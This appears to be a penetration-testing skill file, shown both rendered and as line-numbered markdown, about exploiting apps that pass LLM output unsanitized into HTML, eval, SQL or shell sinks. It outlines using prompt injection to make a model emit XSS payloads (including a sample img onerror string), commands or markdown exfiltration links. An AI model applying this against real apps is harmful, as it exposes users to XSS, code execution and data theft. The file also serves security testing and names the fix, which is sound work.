Insecure output handling (LLM → sink)
When it applies
The app treats LLM output as trusted and passes it into a dangerous sink — rendered as HTML,
executed as code/SQL/shell, or forwarded to another API. The model becomes an injection vector,
especially when its input is attacker-influenced (→ chain with ai-prompt-injection).
Why it works
Developers trust their own model's output, but it's just text — and an attacker can steer it via
prompt injection. If that text lands in innerHTML, eval, a SQL string, a shell command, or a
system call without sanitization, you get XSS/RCE/SQLi through the LLM.
Method
- Find the sink: where does model output go? HTML render (
innerHTML, markdown→HTML,
dangerouslySetInnerHTML), code exec (eval, code interpreter), DB (LLM-built query), shell,
or another service call.
- Get the model to emit a payload: via direct or indirect prompt injection, make the output
contain
<img src=x>, a javascript: link, SQL, or a command.
- Route to impact:
- Rendered output → stored/reflected XSS (fires for the user or others viewing the chat).
- Code-interpreter/tool → RCE (→
ai-agent-tool-abuse).
- LLM-generated SQL/commands executed → SQLi / command injection.
- Markdown exfil: model emits
 → beacons data on render.
Gotchas
- The bug is in the app's handling, not the model — the fix is output encoding/sandboxing, same as any injection.
- Stored XSS via chat history hits every viewer — high impact, easy to miss.
- Combine with prompt injection to reliably control the output; prove real execution, not just odd text.
Verify success
Model-produced content executes in a sink — XSS firing in the app's origin, code/command execution,
or injected SQL — traceable to LLM output.
References
OWASP LLM Top 10 (2025) LLM05; PortSwigger "web LLM attacks"; markdown-exfil write-ups.
1---2name: ai-insecure-output-handling3description: Exploit apps that trust LLM output — pass model text unsanitized into XSS sinks, SQL, shell, code, or downstream calls. Load when LLM output is rendered as HTML/markdown, executed, or fed to another system. Signals: chatbot output shown with innerHTML/dangerouslySetInnerHTML, "run this code", LLM-generated queries/commands, agent output used in eval/exec.4---56# Insecure output handling (LLM → sink)78## When it applies9The app treats LLM output as trusted and passes it into a dangerous sink — rendered as HTML,10executed as code/SQL/shell, or forwarded to another API. The model becomes an injection vector,11especially when its input is attacker-influenced (→ chain with `ai-prompt-injection`).1213## Why it works14Developers trust their own model's output, but it's just text — and an attacker can steer it via15prompt injection. If that text lands in `innerHTML`, `eval`, a SQL string, a shell command, or a16system call without sanitization, you get XSS/RCE/SQLi *through* the LLM.1718## Method191. **Find the sink**: where does model output go? HTML render (`innerHTML`, markdown→HTML,20 `dangerouslySetInnerHTML`), code exec (`eval`, code interpreter), DB (LLM-built query), shell,21 or another service call.222. **Get the model to emit a payload**: via direct or indirect prompt injection, make the output23 contain `<img src=x onerror=alert(document.domain)>`, a `javascript:` link, SQL, or a command.243. **Route to impact**:25 - Rendered output → **stored/reflected XSS** (fires for the user or others viewing the chat).26 - Code-interpreter/tool → **RCE** (→ `ai-agent-tool-abuse`).27 - LLM-generated SQL/commands executed → **SQLi / command injection**.284. **Markdown exfil**: model emits `` → beacons data on render.2930## Gotchas31- The bug is in the *app's* handling, not the model — the fix is output encoding/sandboxing, same as any injection.32- Stored XSS via chat history hits every viewer — high impact, easy to miss.33- Combine with prompt injection to reliably control the output; prove real execution, not just odd text.3435## Verify success36Model-produced content executes in a sink — XSS firing in the app's origin, code/command execution,37or injected SQL — traceable to LLM output.3839## References40OWASP LLM Top 10 (2025) LLM05; PortSwigger "web LLM attacks"; markdown-exfil write-ups.
NoorQureshi